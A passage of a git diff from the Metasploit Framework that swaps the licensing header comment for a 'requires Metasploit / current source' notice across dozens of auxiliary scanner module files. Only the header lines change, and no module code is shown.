Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb index 9a6d44a5b1..dfa7920c4a 100644 --- a/modules/auxiliary/scanner/discovery/arp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index d4e7fe2faa..312102ab28 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 9cf611ce14..2b6e92ee29 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 65c30ad5f3..6584c674a4 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index 479e6e92f7..87dfc5938c 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index 81e83c683a..0051304bba 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb index f373f86a6f..3cde9862fa 100644 --- a/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb index 255461245a..95cba4972c 100644 --- a/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb +++ b/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/finger/finger_users.rb b/modules/auxiliary/scanner/finger/finger_users.rb index 28bf7ce20e..3969d1762f 100644 --- a/modules/auxiliary/scanner/finger/finger_users.rb +++ b/modules/auxiliary/scanner/finger/finger_users.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ftp/anonymous.rb b/modules/auxiliary/scanner/ftp/anonymous.rb index 44ae515eb9..07dbeb8c24 100644 --- a/modules/auxiliary/scanner/ftp/anonymous.rb +++ b/modules/auxiliary/scanner/ftp/anonymous.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index c947ed409c..063b8dd92a 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ftp/ftp_version.rb b/modules/auxiliary/scanner/ftp/ftp_version.rb index a8fea8e3da..43168dc182 100644 --- a/modules/auxiliary/scanner/ftp/ftp_version.rb +++ b/modules/auxiliary/scanner/ftp/ftp_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index c489ddf95c..5e2191961e 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index a35cfea671..3fd8b5392e 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/adobe_xml_inject.rb b/modules/auxiliary/scanner/http/adobe_xml_inject.rb index be428d53ff..d300099727 100644 --- a/modules/auxiliary/scanner/http/adobe_xml_inject.rb +++ b/modules/auxiliary/scanner/http/adobe_xml_inject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index c989cb3614..db1c5191fc 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb index f822c39255..761d32eed3 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_traversal.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/apache_userdir_enum.rb b/modules/auxiliary/scanner/http/apache_userdir_enum.rb index b351f4542e..4289fe3f9a 100644 --- a/modules/auxiliary/scanner/http/apache_userdir_enum.rb +++ b/modules/auxiliary/scanner/http/apache_userdir_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index f0582bd158..321d936242 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 2cc8802e88..114efe7a21 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index f42f0fa6c8..dfda5560f7 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/backup_file.rb b/modules/auxiliary/scanner/http/backup_file.rb index bbe7ef4953..ad8862350f 100644 --- a/modules/auxiliary/scanner/http/backup_file.rb +++ b/modules/auxiliary/scanner/http/backup_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index ef910eda5d..20e82d81d6 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index a53d6abe10..89c660b01a 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb index 7514a095c0..a36f6ab465 100644 --- a/modules/auxiliary/scanner/http/blind_sql_query.rb +++ b/modules/auxiliary/scanner/http/blind_sql_query.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index a19b87d9b1..fa80770a9e 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb index fe489eea41..e5bb1da049 100644 --- a/modules/auxiliary/scanner/http/canon_wireless.rb +++ b/modules/auxiliary/scanner/http/canon_wireless.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 487a8b1d0b..3a6b5d6d5d 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index d39d3fbbbd..a191ae5e3e 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index 5c01262cc3..3e7b03914f 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 97b409cf02..6d58cb1cae 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index 9ffbbd5078..248d2c4869 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index e8bbf8ba45..4984d0dd34 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index b8739ae9b2..f912012838 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 2989a859ca..1ac36773d4 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index aa209ca6bb..a9f78a8601 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb index ea7c4e502d..560c9def8e 100644 --- a/modules/auxiliary/scanner/http/copy_of_file.rb +++ b/modules/auxiliary/scanner/http/copy_of_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 9ec47b912f..344cf57458 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index defc861082..cc7a25152c 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb index 605b3a3c20..45dea52ffb 100644 --- a/modules/auxiliary/scanner/http/dir_listing.rb +++ b/modules/auxiliary/scanner/http/dir_listing.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb index 988944086c..b2bef0c858 100644 --- a/modules/auxiliary/scanner/http/dir_scanner.rb +++ b/modules/auxiliary/scanner/http/dir_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index e4beb5765b..1527dc3886 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 040eb1be0a..cf64ae7368 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index a558271197..a79039f41a 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 60e38e0ddc..a6fce9437b 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 1b36a906ce..98ab17eb17 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 7fa5ea7df9..e2f4479c9d 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index efb5b6dafd..a4c4cb34ed 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index aa742336a4..18f79a4135 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb index 944dbedaa9..c0b3873117 100644 --- a/modules/auxiliary/scanner/http/enum_wayback.rb +++ b/modules/auxiliary/scanner/http/enum_wayback.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb index ed1cf0003f..298a680a26 100644 --- a/modules/auxiliary/scanner/http/error_sql_injection.rb +++ b/modules/auxiliary/scanner/http/error_sql_injection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: 